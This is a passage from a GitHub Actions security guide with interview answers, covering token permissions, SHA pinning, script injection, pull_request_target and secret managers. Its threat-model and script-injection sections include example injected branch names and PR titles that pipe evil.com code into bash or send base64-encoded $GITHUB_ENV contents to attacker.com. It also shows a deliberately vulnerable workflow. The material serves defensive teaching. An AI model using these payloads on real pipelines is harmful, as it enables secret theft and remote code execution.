  security-events: read
  security-events: write      # Upload SARIF results

  # CI
  checks: read
  checks: write               # Create check runs and suites
  statuses: write             # Legacy commit status (prefer checks:)

  # Deployments
  deployments: read
  deployments: write          # Create deployment records and statuses

  # Actions
  actions: read               # Read runs and artifacts
  actions: write              # Cancel runs, delete artifacts

  # OIDC
  id-token: write             # Request OIDC JWT from GitHub's token endpoint

  # Pages
  pages: read
  pages: write

  # Attestations (SLSA)
  attestations: write         # Sign artifacts

  # Special: revoke all permissions
  contents: none              # Or: permissions: {}
```

The Least Privilege Pattern -- In Practice

```
# .github/workflows/release.yml
name: Release Pipeline

on:
  push:
    tags: ['v*']

# Step 1: Lock down at workflow level -- everything read-only
permissions:
  contents: read

jobs:

  # Build -- only needs to read code
  build:
    runs-on: ubuntu-latest
    # Inherits workflow-level: contents: read only
    steps:
      - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683
      - run: make build test
```

```yaml
  # Security scan -- needs SARIF upload
  security-scan:
    runs-on: ubuntu-latest
    permissions:
      contents: read
      security-events: write    # Only this job gets this scope
    steps:
      - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683
      - uses: github/codeql-action/analyze@v3

  # Package publish -- needs package push + OIDC for ECR
  publish:
    needs: [build, security-scan]
    runs-on: ubuntu-latest
    permissions:
      contents: read
      packages: write    # For GHCR
      id-token: write    # For OIDC to ECR
    steps:
      - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683
      - uses: docker/login-action@9780b0c442fbb1117ed29e0efdff1e18412f7567  #
v3
        with:
          registry: ghcr.io
          username: ${{ github.actor }}
          password: ${{ secrets.GITHUB_TOKEN }}   # Uses packages: write
      - run: docker push ghcr.io/my-org/myapp:${{ github.sha }}

  # Create GitHub Release -- needs contents write
  release:
    needs: publish
    runs-on: ubuntu-latest
    permissions:
      contents: write    # Only this job can push/create releases
    steps:
      - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683
      - run: |
          gh release create ${{ github.ref_name }} \
            --generate-notes \
            dist/*.tar.gz
        env:
          GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}

  # Comment on PRs -- needs PR write only
  notify-prs:
    needs: release
    runs-on: ubuntu-latest
    permissions:
      pull-requests: write
      contents: read
    steps:
      - uses: actions/github-script@60a0d83039c74a4aee543508d2ffcb1c3799cdea
# v7
        with:
          script: |
            const prs = await github.rest.pulls.list({
```

```
                owner: context.repo.owner,
                repo: context.repo.repo,
                state: 'closed',
                sort: 'updated'
              });
              // Comment on recently merged PRs...
```

When You Need a PAT or GitHub App Token

```
# GITHUB_TOKEN CANNOT:
#  1. Trigger workflows in other repos
#  2. Bypass branch protection requiring admin override
#  3. Access resources in other orgs
#  4. Push commits that trigger new workflow runs (intentional anti-loop)

# For cross-repo workflow trigger:
- name: Trigger workflow in another repo
  run: gh workflow run deploy.yml --repo my-org/other-repo --ref main
  env:
    GH_TOKEN: ${{ secrets.ORG_PAT }}    # PAT with repo scope

# For commits that SHOULD trigger new workflows (auto-formatting):
- run: git push
  env:
    GITHUB_TOKEN: ${{ secrets.BOT_PAT }}  # PAT -- GITHUB_TOKEN pushes don't
trigger runs

# GitHub App token (better than PAT for org automation):
- uses: actions/create-github-app-
token@5d869da34e18e7287c1daad50e0b8ea0f506ce69  # v1
  id: app-token
  with:
    app-id:      ${{ vars.BOT_APP_ID }}
    private-key: ${{ secrets.BOT_APP_PRIVATE_KEY }}
    owner: my-org
    repositories: target-repo    # Fine-grained: only grant access to specific
repos
```

Interview Answer (30-45 seconds)

> "GITHUB_TOKEN is an auto-generated short-lived token GitHub creates per workflow run, scoped to the current repository. It supports about 15 permission scopes -- contents, packages, pull-requests, id-token, security-events, deployments, and others. Best practice: set the org default to read-only, then use the `permissions:` block at the job level to grant only what that specific job needs. A build job only needs `contents: read`. A release job needs `contents: write` and `packages: write`. Key limitation: pushes made with GITHUB_TOKEN don't trigger new workflow runs -- intentional to prevent infinite loops. For cross-repo operations or commits that need to trigger workflows, use a PAT or a GitHub App token instead."

Gotchas

- **`secrets.GITHUB_TOKEN` and `github.token` are identical.** Prefer `github.token` in expressions -- it's more explicit about being auto-generated.
- **Workflow-level `permissions:` is a ceiling.** A job cannot request MORE than the workflow level allows. If workflow has `contents: read`, no job can override to `contents: write`.
- **Token is revoked after the JOB completes, not the workflow.** Parallel jobs have independent token lifetimes.
- **Third-party action steps also receive GITHUB_TOKEN.** An action you `uses:` can interact with your repo API using it. SHA-pin untrusted actions AND set least-privilege permissions to limit blast radius.
- **You cannot set or override `GITHUB_TOKEN` as a secret.** Attempting `gh secret set GITHUB_TOKEN` returns an error -- GitHub reserves this name.
- **`id-token: write` permission is NOT sufficient alone for OIDC.** It allows requesting the JWT but does NOT grant any cloud provider access -- that's configured separately in the cloud provider's trust policy.

4.5 Security Hardening — Pinning, Secret Scanning, pull_request_target

---

What It Is

A layered set of defensive practices that harden GitHub Actions workflows against supply chain attacks, secrets exfiltration, and privilege escalation. Many of these attack vectors are specific to GitHub's security model and represent the most common gaps in experienced Jenkins engineers' knowledge.

Threat Model

```
Threat 1: Supply Chain Attack on Actions
  Compromised maintainer force-pushes malicious code to @v4 tag
  Your next run executes it with your secrets
  DEFENSE: SHA pinning

Threat 2: Script Injection via Untrusted Input
  Attacker names their PR branch: main"; curl evil.com/steal.sh | bash; echo "
  Workflow uses ${{ github.head_ref }} directly in run: command
  Shell executes the injected command with full GITHUB_TOKEN access
  DEFENSE: Pass event data through env: variables, never interpolate directly

Threat 3: pull_request_target Abuse (Most Dangerous)
  pull_request_target runs with secrets in base-branch context
  Attacker forks repo, opens PR with malicious code
  Workflow checks out and executes attacker code WITH production secrets
  DEFENSE: Never checkout+run fork code in pull_request_target

Threat 4: Excessive Token Permissions
  Workflow has contents: write unnecessarily
  Compromised step uses it to push backdoor commits
  DEFENSE: Least-privilege permissions per job
```

```
Threat 5: Environment File Injection
  Attacker controls content written to $GITHUB_ENV or $GITHUB_PATH
  Injects malicious env vars or PATH entries for subsequent steps
  DEFENSE: Sanitize all content written to GitHub environment files
```

Defense 1: SHA Pinning

```yaml
# VULNERABLE -- mutable references
- uses: actions/checkout@v4
- uses: some-org/some-action@main
- uses: risky-maintainer/action@latest

# SECURE -- immutable commit SHAs with version comment
- uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683
# v4.2.2
- uses: actions/setup-node@cdca7365b2dadb8aad0a33bc7601856ffabcc48e
# v4.2.0
- uses: docker/build-push-action@4f58ea79222b3b9dc2c8bbdd6debcef730109a75
# v6.9.0
- uses: aws-actions/configure-aws-
credentials@e3dd6a429d7300a6a4c196c26e071d42e0343502  # v4
- uses: google-github-actions/auth@71fee32a0bb7e97b4d33d548e7d957010649d8fa
# v2
```

```bash
# Getting SHAs for tags (handle both annotated and lightweight tags)
TAGGED_SHA=$(gh api /repos/actions/checkout/git/ref/tags/v4.2.2 --jq
'.object.sha')
# Check if annotated tag (type == "tag") -- need to dereference
TYPE=$(gh api /repos/actions/checkout/git/ref/tags/v4.2.2 --jq '.object.type')
if [ "$TYPE" = "tag" ]; then
  COMMIT_SHA=$(gh api /repos/actions/checkout/git/tags/$TAGGED_SHA --jq
'.object.sha')
else
  COMMIT_SHA=$TAGGED_SHA
fi
echo "SHA: $COMMIT_SHA"

# Bulk pin with automation tool
pip install pin-github-action
pin-github-action .github/workflows/deploy.yml
```

```yaml
# Automate pin updates with Dependabot
# .github/dependabot.yml
version: 2
updates:
  - package-ecosystem: github-actions
    directory: /
```

```
    schedule:
      interval: weekly
    groups:
      github-actions:
        patterns: ['*']    # Group all action updates into one PR
    labels:
      - dependencies
      - automated
```

Defense 2: Script Injection Prevention

```
# VULNERABLE -- direct interpolation of untrusted event payload
steps:
  - run: |
      echo "Processing: ${{ github.event.pull_request.title }}"
      # If title is: "; curl https://attacker.com/$(cat $GITHUB_ENV | base64);
echo "
      # The shell EXECUTES that command

# SAFE -- pass through environment variables (shell treats value as data, not
code)
steps:
  - run: |
      echo "Processing: ${PR_TITLE}"
      # PR_TITLE is just a string -- no code execution regardless of content
    env:
      PR_TITLE: ${{ github.event.pull_request.title }}

# ALL untrusted event values need this treatment:
# github.event.pull_request.title
# github.event.pull_request.body
# github.event.pull_request.head.ref  (branch names can contain special chars)
# github.event.issue.title
# github.event.comment.body
# github.event.head_commit.message
# github.event.label.name

# Safe pattern for github-script with untrusted input:
- uses: actions/github-script@60a0d83039c74a4aee543508d2ffcb1c3799cdea  # v7
  env:
    PR_TITLE: ${{ github.event.pull_request.title }}
  with:
    script: |
      const title = process.env.PR_TITLE;   // Use env var -- SAFE
      // NEVER: const title = "${{ github.event.pull_request.title }}";  --
UNSAFE
      console.log(`Title: ${title}`);
```

Defense 3: pull_request_target -- The Dangerous Trigger

This is the most frequently misunderstood security topic in all of GitHub Actions.

```
pull_request           vs      pull_request_target
-----------------------------------------------------------------
Runs in context of:    PR branch        BASE branch
Has secrets:           NO (fork PRs)    YES (always, including forks)
Executes code from:    PR branch        BASE branch (your workflow YAML)
```

Why it's dangerous: The WORKFLOW YAML that executes is from the base branch (which you control). But if you checkout the PR code and run it, you're executing the attacker's code with full secret access.

```yaml
# CRITICAL VULNERABILITY -- do not do this
on:
  pull_request_target:    # Has secrets

jobs:
  ci:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
        with:
          ref: ${{ github.event.pull_request.head.sha }}    # ATTACKER'S code
      # Now running attacker code WITH production secrets
      # Attacker's package.json postinstall scripts run here
      # Attacker can read $GITHUB_ENV, $GITHUB_TOKEN, all secrets
      - run: npm install && npm test

# SAFE usage of pull_request_target:
# RULE: Only perform operations that do NOT execute any PR code
# Only use PR data (number, author, labels) as metadata inputs

on:
  pull_request_target:
    types: [opened, labeled, synchronize]

jobs:
  # SAFE: Add labels based on file paths -- reads PR metadata, never runs PR
code
  label-pr:
    runs-on: ubuntu-latest
    permissions:
      contents: read
      pull-requests: write
    steps:
      - uses: actions/labeler@v5
        with:
          repo-token: ${{ secrets.GITHUB_TOKEN }}
          # labeler reads file path changes from the PR event payload
          # it does NOT execute any code from the PR

  # SAFE: Post a welcome comment -- zero code execution
  welcome:
```

```
    if: github.event.action == 'opened'
    runs-on: ubuntu-latest
    permissions:
      pull-requests: write
    steps:
      - uses: actions/github-script@60a0d83039c74a4aee543508d2ffcb1c3799cdea
        with:
          script: |
            github.rest.issues.createComment({
              issue_number: context.issue.number,
              owner: context.repo.owner,
              repo: context.repo.repo,
              body: 'Thanks for the contribution! A maintainer will review
shortly.'
            })
```

The correct two-workflow pattern for CI on fork PRs:

```
# WORKFLOW 1: .github/workflows/pr-ci.yml
# Runs on pull_request -- NO secrets, but safely runs PR code
on: pull_request

jobs:
  test:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4    # Checks out PR code -- fine, no secrets
here
      - run: npm test
      - uses: actions/upload-artifact@v4
        with:
          name: test-results-${{ github.event.pull_request.number }}
          path: test-results/

# WORKFLOW 2: .github/workflows/pr-post-ci.yml
# Runs on workflow_run completion -- HAS secrets, but NEVER runs PR code
on:
  workflow_run:
    workflows: ["PR CI"]    # Name of workflow 1
    types: [completed]

jobs:
  post-results:
    if: github.event.workflow_run.conclusion == 'success'
    runs-on: ubuntu-latest
    permissions:
      pull-requests: write
    steps:
      # Download pre-built artifacts -- NOT re-running PR code
      - uses: actions/download-artifact@v4
        with:
          name: test-results-${{
github.event.workflow_run.pull_requests[0].number }}
          run-id: ${{ github.event.workflow_run.id }}
```

```
          github-token: ${{ secrets.GITHUB_TOKEN }}

      - uses: actions/github-script@60a0d83039c74a4aee543508d2ffcb1c3799cdea
# v7
        with:
          script: |
            const pr_number =
context.payload.workflow_run.pull_requests[0].number;
            const fs = require('fs');
            const results = JSON.parse(fs.readFileSync('results.json',
'utf8'));
            github.rest.issues.createComment({
              owner: context.repo.owner,
              repo: context.repo.repo,
              issue_number: pr_number,
              body: `## Test Results\n${results.passed} passed /
${results.failed} failed`
            });
```

Defense 4: Org-Level Action Policies

```
# Allow only GitHub-owned actions, verified creators, and your org's actions
gh api \
  --method PUT \
  /orgs/my-org/actions/permissions \
  -f enabled_repositories=all \
  -f allowed_actions=selected

gh api \
  --method PUT \
  /orgs/my-org/actions/permissions/selected-actions \
  -f github_owned_allowed=true \
  -f verified_allowed=true \
  -f patterns_allowed='["my-org/*","aws-
actions/*","docker/*","hashicorp/*","google-github-actions/*"]'
```

Defense 5: GitHub Native Security Features

```
# 1. CODEOWNERS -- require platform team review on ALL workflow changes
# .github/CODEOWNERS
/.github/workflows/  @my-org/platform-team
/.github/actions/    @my-org/platform-team

# 2. Dependency Review -- checks for vulnerable dependencies in PRs
# .github/workflows/dependency-review.yml
name: Dependency Review
on: pull_request
permissions:
  contents: read
```

```yaml
    pull-requests: write
  jobs:
    review:
      runs-on: ubuntu-latest
      steps:
        - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683
        - uses: actions/dependency-review-
action@3b139cfc5fae8b618d3eae3675e383bb1769c019  # v4
          with:
            fail-on-severity: high
            deny-licenses: GPL-2.0, AGPL-3.0

# 3. Network egress hardening with Harden-Runner
# .github/workflows/hardened-build.yml
jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - uses: step-security/harden-
runner@91182cccc01eb5e619899d80e4e971d6181294a7  # v2
        with:
          egress-policy: block
          allowed-endpoints: >
            github.com:443
            registry.npmjs.org:443
            api.sonarcloud.io:443
      - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683
      - run: npm ci && npm test
```

Security Hardening Checklist

```
ACTION SECURITY:
  [ ] All third-party actions pinned to commit SHAs
  [ ] SHAs documented with version comments
  [ ] Dependabot configured for action updates
  [ ] Org policy restricts allowed action sources

TOKEN SECURITY:
  [ ] Org default set to read-only permissions
  [ ] Workflow-level permissions: contents: read minimum
  [ ] Per-job permissions with only required scopes
  [ ] OIDC used instead of long-lived cloud credentials

INPUT SECURITY:
  [ ] No untrusted event values directly in run: commands
  [ ] All event payload values passed via env: variables
  [ ] github-script steps use process.env for event data

pull_request_target:
  [ ] Never checkout fork PR code (head.sha) in prt workflows
  [ ] Only metadata operations use pull_request_target
  [ ] Two-workflow pattern for CI on fork PRs
```

```
SECRET HYGIENE:
  [ ] Dynamic sensitive values masked with ::add-mask::
  [ ] Secret scanning + push protection enabled
  [ ] CODEOWNERS requires platform review on workflow changes
  [ ] Content written to $GITHUB_ENV/$GITHUB_PATH from untrusted sources is
sanitized
```

Interview Answer (30-45 seconds)

> "GitHub Actions security hardening has four critical layers. First, pin all third-party actions to commit SHAs -- floating tags like `@v4` are mutable and can be silently compromised in a supply chain attack. Second, set least-privilege permissions per job using the `permissions:` block. Third, never interpolate untrusted event payload values directly into `run:` commands -- pass them as environment variables so the shell treats them as data, not executable code. Fourth, and most critically: `pull_request_target` runs with secrets in the base-branch context -- if you checkout and execute fork PR code there, an attacker can exfiltrate every secret. Use the two-workflow pattern instead: `pull_request` to run code safely without secrets, `workflow_run` to post results with secrets without re-running code."

Gotchas

- **Masking works on exact value match.** If you construct a secret from parts (`secret` + `123` = `secret123`), the runner doesn't know to mask the assembled value. Never build secrets from parts in shell; always mask the complete value.
- **`::add-mask::` masking is process-scoped.** Subprocesses that don't inherit the runner's masking registry may print unmasked values. Use `core.setSecret()` in JavaScript actions for reliable cross-process masking.
- **CODEOWNERS doesn't protect against admins pushing directly to main.** Use branch protection with "Include administrators" to close this gap.
- **GitHub secret scanning only catches recognized patterns** (AWS keys, GCP keys, Stripe tokens, etc.). Custom internal tokens with no known format won't be caught. Configure custom regex patterns in repo Settings > Security > Secret Scanning.
- **`workflow_run` fires even if the triggering workflow fails.** Always check `github.event.workflow_run.conclusion == 'success'` before doing anything meaningful.
- **Environment file injection is an underappreciated vector.** If any step writes attacker-controlled content to `$GITHUB_ENV`, `$GITHUB_PATH`, or `$GITHUB_OUTPUT`, subsequent steps in the same job are compromised. Sanitize content from untrusted sources before writing to these files.

4.6 Third-Party Secret Managers — Vault, AWS Secrets Manager

What It Is

Integrating external secret management systems — HashiCorp Vault, AWS Secrets Manager, GCP Secret Manager, Azure Key Vault — with GitHub Actions workflows to fetch secrets dynamically at runtime, rather than storing them statically in GitHub Secrets.

Jenkins equivalent: Jenkins' HashiCorp Vault Plugin, or direct Vault API calls in Groovy pipeline scripts. GitHub Actions achieves the same via marketplace actions and direct API calls.

Why Use External Secret Managers?

Reason	Detail
Centralized rotation	Rotate once in Vault/SM; all pipelines pick up the new value automatically
Audit logging	Per-secret access logs with GitHub run_id, actor, timestamp
Dynamic secrets	Vault generates ephemeral DB credentials or cloud keys that expire in minutes
Existing infrastructure	Enterprise already uses Vault as source of truth -- no second system
Fine-grained policies	Restrict which Vault paths a workflow can access
Cross-platform	Same secrets used by GitHub Actions, Kubernetes workloads, local dev
Compliance	Vault and AWS SM are FedRAMP-authorized; GitHub Secrets may not meet requirements

---

Pattern 1: HashiCorp Vault with AppRole Auth

```
# Bridge approach: one AppRole credential in GitHub Secrets unlocks many Vault
secrets
name: Deploy with Vault (AppRole)

on:
  push:
    branches: [main]

jobs:
  deploy:
    runs-on: ubuntu-latest
    environment: production
    steps:
      - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683

      - name: Import secrets from Vault
        uses: hashicorp/vault-action@d1720f055e0635fd932a1d2a48f87a666a57906c
# v3
        with:
          url: https://vault.my-org.com
          method: approle
          roleId:   ${{ secrets.VAULT_ROLE_ID }}     # One GitHub secret
unlocks many
          secretId: ${{ secrets.VAULT_SECRET_ID }}   # Vault secrets
```

```
          secrets: |
            secret/data/production/database   password | DB_PASSWORD ;
            secret/data/production/database   host     | DB_HOST ;
            secret/data/production/api-keys   stripe   | STRIPE_SECRET_KEY ;
            secret/data/production/tls        cert     | TLS_CERT

      # Vault-fetched secrets now available as env vars: DB_PASSWORD, DB_HOST,
etc.
      - run: ./migrate.sh
      - run: ./deploy.sh
        env:
          STRIPE_KEY: ${{ env.STRIPE_SECRET_KEY }}
```

Pattern 2: Vault with JWT/OIDC Auth (Gold Standard)

```
# Zero stored credentials anywhere -- GitHub OIDC token authenticates to Vault

# One-time Vault configuration:
# vault auth enable jwt
# vault write auth/jwt/config \
#   oidc_discovery_url="https://token.actions.githubusercontent.com" \
#   bound_issuer="https://token.actions.githubusercontent.com"
#
# vault write auth/jwt/role/github-production-deploy \
#   role_type="jwt" \
#   bound_audiences="https://vault.my-org.com" \
#   user_claim="actor" \
#   bound_claims_type="glob" \
#   bound_claims='{"sub":"repo:my-org/my-repo:environment:production"}' \
#   policies="production-deploy-policy" \
#   ttl="1h"

name: Deploy with Vault (JWT Auth)

on:
  push:
    branches: [main]

permissions:
  id-token: write    # Required for both GitHub OIDC and Vault JWT auth
  contents: read

jobs:
  deploy:
    runs-on: ubuntu-latest
    environment: production
    steps:
      - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683

      - name: Import secrets from Vault via JWT auth
        uses: hashicorp/vault-action@d1720f055e0635fd932a1d2a48f87a666a57906c
# v3
```

```
        with:
          url: https://vault.my-org.com
          method: jwt
          role: github-production-deploy
          jwtGithubAudience: https://vault.my-org.com    # Must match
bound_audiences in Vault
          secrets: |
            secret/data/production/database   password | DB_PASSWORD ;
            secret/data/production/database   host     | DB_HOST ;
            database/creds/migration-role     username | DB_MIGRATE_USER ;
            database/creds/migration-role     password | DB_MIGRATE_PASS ;
            pki/issue/internal common_name=deploy.internal | TLS_CERT

      # database/creds/ uses Vault's dynamic secrets:
      # Each run gets UNIQUE ephemeral DB credentials
      # Vault automatically revokes them after TTL (e.g., 1 hour)
      - run: ./migrate.sh    # Uses DB_MIGRATE_USER and DB_MIGRATE_PASS
      - run: ./deploy.sh
```

Pattern 3: AWS Secrets Manager

```
name: Deploy with AWS Secrets Manager

on:
  push:
    branches: [main]

permissions:
  id-token: write
  contents: read

jobs:
  deploy:
    runs-on: ubuntu-latest
    environment: production
    steps:
      - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683

      # Authenticate via OIDC first
      - uses: aws-actions/configure-aws-
credentials@e3dd6a429d7300a6a4c196c26e071d42e0343502
        with:
          role-to-assume: arn:aws:iam::123456789012:role/github-actions-deploy
          aws-region: us-east-1

      # Method A: Using the official action (handles parsing automatically)
      - name: Get secrets from AWS Secrets Manager
        uses: aws-actions/aws-secretsmanager-get-
secrets@f91b2a3e784b5e4fe6d79f2b42b93a8eede7f7a7  # v2
        with:
          secret-ids: |
            production/database
```

```
            production/stripe-key
          parse-json-secrets: true
          # Parses JSON secrets into individual env vars:
          # PRODUCTION_DATABASE_HOST, PRODUCTION_DATABASE_PASSWORD, etc.

      # Method B: Manual fetch with masking (more control)
      - name: Fetch and mask secrets manually
        run: |
          DB_SECRET=$(aws secretsmanager get-secret-value \
            --secret-id "production/database" \
            --query SecretString \
            --output text)

          DB_HOST=$(echo "$DB_SECRET" | jq -r '.host')
          DB_PASS=$(echo "$DB_SECRET" | jq -r '.password')
          DB_USER=$(echo "$DB_SECRET" | jq -r '.username')

          # CRITICAL: Mask BEFORE any possible logging or export
          echo "::add-mask::${DB_PASS}"
          echo "::add-mask::${DB_USER}"

          echo "DB_HOST=${DB_HOST}" >> $GITHUB_ENV
          echo "DB_PASSWORD=${DB_PASS}" >> $GITHUB_ENV
          echo "DB_USER=${DB_USER}" >> $GITHUB_ENV

      - run: ./deploy.sh
```

Pattern 4: GCP Secret Manager

```
jobs:
  deploy-gcp:
    runs-on: ubuntu-latest
    permissions:
      id-token: write
      contents: read
    steps:
      - uses: google-github-
actions/auth@71fee32a0bb7e97b4d33d548e7d957010649d8fa  # v2
        with:
          workload_identity_provider: ${{ vars.GCP_WORKLOAD_IDENTITY_PROVIDER
}}
          service_account: ${{ vars.GCP_SERVICE_ACCOUNT }}

      - name: Get secrets from GCP Secret Manager
        uses: google-github-actions/get-secretmanager-
secrets@e5bb06c2ca53b244f978d33348d18317a7f263ce  # v2
        with:
          secrets: |-
            DB_PASSWORD:my-gcp-project/production-db-password
            API_KEY:my-gcp-project/production-api-key/2       # Specific
version number
            TLS_CERT:my-gcp-project/production-tls-cert/latest
```

```
      - run: ./deploy.sh   # DB_PASSWORD, API_KEY, TLS_CERT available as env
vars
```

Pattern 5: Azure Key Vault

```yaml
jobs:
  deploy-azure:
    runs-on: ubuntu-latest
    permissions:
      id-token: write
      contents: read
    steps:
      - uses: azure/login@a457da9ea143d694b1b9c7c869ebb04edd5a2efb  # v2
        with:
          client-id:       ${{ secrets.AZURE_CLIENT_ID }}
          tenant-id:       ${{ secrets.AZURE_TENANT_ID }}
          subscription-id: ${{ secrets.AZURE_SUBSCRIPTION_ID }}

      - uses: azure/get-keyvault-
secrets@f5e0b7c3f282ca24e65dd20f4e5c7e893e89d72e  # v1
        id: kv
        with:
          keyvault: my-keyvault
          secrets: 'DatabasePassword, StripeApiKey, TlsCertificate'

      - run: ./deploy.sh
        env:
          DB_PASSWORD: ${{ steps.kv.outputs.DatabasePassword }}
          STRIPE_KEY:  ${{ steps.kv.outputs.StripeApiKey }}
```

When to Use External Secret Managers vs GitHub Secrets

Factor	GitHub Secrets	External Secret Manager
Setup complexity	Zero -- built in	Medium to High
Secret rotation	Manual via CLI/UI	Automatic
Dynamic secrets	No	Yes (Vault dynamic, limited AWS SM)
Cross-platform use	GitHub only	Any platform
Audit granularity	Basic GitHub audit log	Full access logs per secret
Compliance (FedRAMP)	Not certified	Vault, AWS SM both authorized
Cost	Included in GitHub	Additional service cost

Decision rule: GitHub Secrets for simple single-platform setups. External SM when you have compliance requirements, an existing Vault investment, need secret rotation automation, dynamic secrets, or cross-platform

secret sharing.

Interview Answer (30-45 seconds)

> "External secret managers like Vault or AWS Secrets Manager add three things GitHub Secrets can't do: automatic rotation, dynamic secrets that expire after use, and unified management across platforms. The integration pattern is authenticate first via OIDC, then fetch secrets at runtime and inject them as environment variables with `::add-mask::` to prevent log exposure. The gold standard is Vault with JWT authentication using GitHub's OIDC token -- no long-lived credentials stored anywhere. Vault validates the JWT claims to ensure only the correct workflow can access the correct paths, and dynamic database credentials give each run unique ephemeral credentials that Vault auto-revokes after TTL expiry."

Gotchas

- **Secrets from external managers are NOT automatically masked.** GitHub's masking system only knows about values in `secrets.*`. Vault/SM-fetched values MUST be manually masked with `::add-mask::` before any logging occurs.
- **Vault JWT TTL must exceed your longest job.** If a job runs 90 minutes but the Vault token TTL is 60 minutes, steps after expiry fail with authentication errors. Set TTL conservatively or implement token renewal.
- **AWS Secrets Manager is eventually consistent.** A just-rotated secret may not be immediately visible via `get-secret-value`. Use `VersionStage: AWSCURRENT` explicitly and add retry logic around rotation windows.
- **Vault `database/creds` dynamic secrets vs Vault auth roles are different concepts.** Auth roles control WHO can authenticate to Vault. Database roles control WHAT dynamic credentials get generated. Easy to confuse in interviews.
- **GCP Secret Manager requires `secretmanager.versions.access` IAM permission** specifically -- not a broad `secretmanager.*` permission. The granularity catches people off guard.
- **Azure Key Vault has 20 federated credential limit per app registration.** Plan accordingly for large multi-environment deployments.

Cross-Topic Interview Questions

Q: Design a complete security architecture for a fintech company deploying to production on AWS. No long-lived credentials. Walk through every layer.

> "Foundation is OIDC everywhere. AWS has a single OIDC provider resource pointing to GitHub's token endpoint. Each environment has its own IAM role with a restrictive trust policy: production role requires `sub` matching `repo:my-org/payment-api:environment:production` AND `job_workflow_ref` matching our platform reusable workflow at a specific version tag -- not just any workflow in the repo. This means a developer can't write a custom workflow that assumes the production role; only our platform's approved workflow can.
>
> For secrets beyond cloud credentials: AWS Secrets Manager via the already-authenticated OIDC session. Dynamic Vault database credentials for DB access -- each deploy gets unique ephemeral Postgres

> credentials auto-revoked after 1 hour. All fetched values immediately masked.
>
> GitHub Environments with required reviewers gate production -- no code reaches prod without human sign-off documented in GitHub's audit log. Environment secrets mean production credentials are in a separate scope that staging workflows cannot access.
>
> GITHUB_TOKEN locked down: org default read-only, explicit per-job permission declarations. All third-party actions SHA-pinned with Dependabot managing updates. CODEOWNERS on `.github/workflows/` requires platform team review. Org action policy restricts to approved sources. Secret scanning with push protection. Harden-Runner with network allowlist on sensitive deployment jobs. The complete audit trail: GitHub audit log plus AWS CloudTrail plus Vault audit log."

Q: A security team reports that a merged PR contained a GitHub Actions script injection vulnerability. Explain what likely happened and how to fix it.

> "Classic pattern: a workflow step used `${{ github.event.pull_request.title }}` or `${{ github.head_ref }}` directly in a `run:` command. Someone submitted a PR with a crafted title like `main\"; curl https://attacker.com/$(cat $GITHUB_ENV | base64) #` and when the workflow ran, the shell interpreted the injected command. Since `run:` steps have access to `GITHUB_TOKEN` and all env vars, this could expose the token, workflow environment, and potentially any secrets mapped to env vars.
>
> Fix: replace every instance of direct event payload interpolation in `run:` with environment variable mapping. Audit all workflows for `${{ github.event.* }}`, `${{ github.head_ref }}`, and similar in shell contexts. Add Harden-Runner to detect unexpected network egress. Enable GitHub's CodeQL or a workflow linter to catch this pattern going forward. For org-scale prevention, add a required workflow that scans for this anti-pattern in all workflow files."

Q: Why would you use `secrets: inherit` vs explicit secret passing in a reusable workflow call? What are the tradeoffs?

> "`secrets: inherit` is convenient -- it passes all caller secrets to the reusable workflow without listing each one. But it has two problems. First, it reduces auditability: you can't tell from the calling workflow which secrets the reusable workflow actually uses. Second, it's overly permissive -- if the caller has access to `PROD_DB_PASSWORD`, `secrets: inherit` makes it available to the reusable workflow even if that workflow only needs a `SLACK_TOKEN`. Explicit passing is more verbose but creates a clear contract: you can see exactly what's passed, and it prevents the reusable workflow from accessing secrets it shouldn't know about. For platform-owned workflows with sensitive operations, always use explicit passing. `secrets: inherit` is acceptable for internal convenience tooling where the security boundary is less critical."

Quick Reference Cheat Sheet

Secret Scope Decision

```
Which scope?
  Used by one service only            -> Repo Secret
```

```
  Shared value across many services   -> Org Secret (visibility: all)
  Different value per environment     -> Environment Secret
  Needs rotation / dynamic / audit    -> External Secret Manager (Vault / AWS
SM)
```

OIDC Minimum Viable Workflow

```yaml
permissions:
  id-token: write    # Non-negotiable -- without this OIDC fails
  contents: read

jobs:
  deploy:
    environment: production    # Adds environment:production to JWT sub claim
    runs-on: ubuntu-latest
    steps:
      - uses: aws-actions/configure-aws-credentials@<SHA>
        with:
          role-to-assume: arn:aws:iam::ACCOUNT:role/ROLE
          aws-region: us-east-1
          # No credentials! OIDC handles auth.
```

JWT Sub Claim by Event Type

```
Push to branch:          repo:org/repo:ref:refs/heads/main
Release tag:             repo:org/repo:ref:refs/tags/v1.0.0
Environment job:         repo:org/repo:environment:production
PR event:                repo:org/repo:pull_request
job_workflow_ref:
org/platform/.github/workflows/deploy.yml@refs/tags/v3
```

Permission Scopes Quick Reference

```yaml
permissions:
  contents: write        # Push commits, create releases
  packages: write        # GHCR push
  pull-requests: write   # Comment, merge PRs
  issues: write          # Comment, label issues
  security-events: write # SARIF upload
  id-token: write        # OIDC token request
  deployments: write     # Deployment records
  checks: write          # Custom CI check runs
  actions: write         # Cancel runs, manage artifacts
```

Security Quick Reference

```
SHA PINNING:
  uses: owner/repo@<40-char-commit-sha>  # v1.2.3

SCRIPT INJECTION PREVENTION:
  BAD:  run: echo "${{ github.event.pull_request.title }}"
  GOOD: run: echo "$TITLE"
        env:
          TITLE: ${{ github.event.pull_request.title }}

pull_request_target RULE:
  NEVER checkout fork PR code (head.sha) + run it in pull_request_target
  Use pull_request for running code (no secrets)
  Use workflow_run to post results with secrets (no code execution)

LEAST PRIVILEGE PATTERN:
  workflow level: permissions: contents: read
  per job:        permissions: <only what this job needs>

EXTERNAL SECRET MANAGER:
  Fetch -> ::add-mask:: -> $GITHUB_ENV -> use in subsequent steps
```

Environment vs Repo Secret -- When to Use Which

```
Repo Secrets:
